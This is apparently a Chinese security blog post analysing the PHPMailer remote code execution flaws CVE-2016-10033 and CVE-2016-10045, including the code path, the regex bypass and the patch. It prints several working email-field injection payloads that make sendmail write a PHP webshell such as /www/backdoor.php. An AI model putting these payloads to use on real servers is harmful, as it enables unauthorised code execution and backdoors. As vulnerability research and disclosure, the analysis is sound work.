前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >phpmailer RCE漏洞分析

phpmailer RCE漏洞分析

作者头像
LoRexxar
发布2023-02-21 15:27:36
1.1K0
发布2023-02-21 15:27:36
举报
文章被收录于专栏:LoRexxar's BlogLoRexxar's Blog

最近爆出来个CVE-2016-1003,国内人分析了两天发现ying

是国外十几年前发现的漏洞,分析了两天发现影响覆盖越来越严重,现在最新的patch也被绕过了,又爆了新的cve…

朋友的博客

CVE-2016-1003

最早爆出来的版本是这样的

http://seclists.org/oss-sec/2016/q4/750

漏洞详情 https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

环境,poc,exp相关 https://github.com/opsxcq/exploit-CVE-2016-10033

漏洞有一些基本要求: 1、php version < 5.2.0 2、phpmailer < 5.2.18 3、php 没有安装 pcre(no default) 4、safe_mode = false(default)

漏洞和这个差不多 http://blog.knownsec.com/2016/12/roundcube-1-2-2-远程命令执行漏洞-漏洞分析/

其实问题主要是在mail函数的第五个参数过滤不严明,导致了命令执行。

追踪代码到这里

image_1b52an7jpsoco77r7bsat15i9g.png-69.5kB
image_1b52an7jpsoco77r7bsat15i9g.png-69.5kB

图里应该能看到刚才的第四个条件,也就是safe_mode必须关闭。

然后我们去找这里的params

image_1b52arked1oro2ss9ekg0r13l6t.png-90.8kB
image_1b52arked1oro2ss9ekg0r13l6t.png-90.8kB

跟踪$this->Sender

image_1b52ep27a1ij13241g851kvb1ua41a.png-88.8kB
image_1b52ep27a1ij13241g851kvb1ua41a.png-88.8kB

这里的Sender是address输入的,但经过了一次检验,我们可以看看这个函数 之类有个重要的switch

image_1b52f3fhk1e181tem1v5ejj2qm51n.png-5.8kB
image_1b52f3fhk1e181tem1v5ejj2qm51n.png-5.8kB

跟踪到下面的noregex

image_1b52f4frf1klcgsks6g1hvo1jmn24.png-26.8kB
image_1b52f4frf1klcgsks6g1hvo1jmn24.png-26.8kB

这里的cve-2016-10033就是绕过了这部分,但是我们仍需要使$patternselect为noregex,往上看看

image_1b52fi2dae5t1fqg1sbe1iedfam2h.png-76.2kB
image_1b52fi2dae5t1fqg1sbe1iedfam2h.png-76.2kB

这里的条件要求是php 没有安装 pcre,也就是上面的条件。

这样一来,我们就可以任意构造mail函数的第五个参数了,就可以随意开火了…

我们看看exp里的这部分请求

代码语言:javascript
复制
name="email"\r\n\r\n\"vulnerables\\\" -OQueueDirectory=/tmp -X/www/backdoor.php server\" @test.com\r\n

这里是利用了sendmail写入log的方式,把log写入了web目录下,成功写入了一个webshell

cve-10045 and bypass pcre正则表达式

仔细思考上面流程,有个关键的问题就是:

image_1b52m2pqb1lbcovj1ldl1rb81tnp2u.png-186.7kB
image_1b52m2pqb1lbcovj1ldl1rb81tnp2u.png-186.7kB

如果我们能够直接绕过下面的大段正则,我们就可以简化上面的漏洞利用条件,改为

代码语言:javascript
复制
phpmailer < 5.2.20 (0day)
php safe_mode = false

那么问题来了,怎么分析复杂的正则表达式 https://www.leavesongs.com/PENETRATION/how-to-analyze-long-regex.html

还有好用的正则表达式分析引擎 https://regex101.com

新的cve提交的是这个payload

代码语言:javascript
复制
\"attacker\\' -oQ/tmp/ -X%s/phpcode.php  some\"@email.com

我的朋友Hcamael研究了两种

代码语言:javascript
复制
a. -OQueueDirectory=/tmp/. -X/tmp/shell.php @a.com
() -OQueueDirectory=/tmp/. -X/tmp/shell.php @a.com

github上的exp也修改了新的payload

代码语言:javascript
复制
vulnerables\" -OQueueDirectory=/tmp -X/www/backdoor.php server" @test.com

还有p神发的

代码语言:javascript
复制
a( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com
“ -X/home/www/backdoor.php -OQueueDirectory=/tmp “@qq.com

phpmailer的修复方式

在今天爆出新的10045 cve后,phpmailer更新了新的patch

image_1b52nsj9b6kmuqn1oab99j1q3j3b.png-97.6kB
image_1b52nsj9b6kmuqn1oab99j1q3j3b.png-97.6kB

这里加入了判断方式,判断过滤过后和过滤前的字符串是否相等。

后来我发现,作者又更新了新的patch,但看聊天记录来看,作者被迫放弃了一部分正常功能,所以怎么修复还需要等等看

https://github.com/PHPMailer/PHPMailer/pull/930

主要问题escapeshellargescapeshellcmd一起处理会出现新的问题,具体可以看我朋友的博客分析

http://0x48.pw/2016/12/28/0x29/#phpmailer_5-2-19_RCE

虽然这个模块在多个cms都有用到,但是在已知的部分cms中,这部分都做了部分处理或者是印象范围较小,危害仍然有待考证

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2016/12/28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CVE-2016-1003
  • cve-10045 and bypass pcre正则表达式
  • phpmailer的修复方式
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档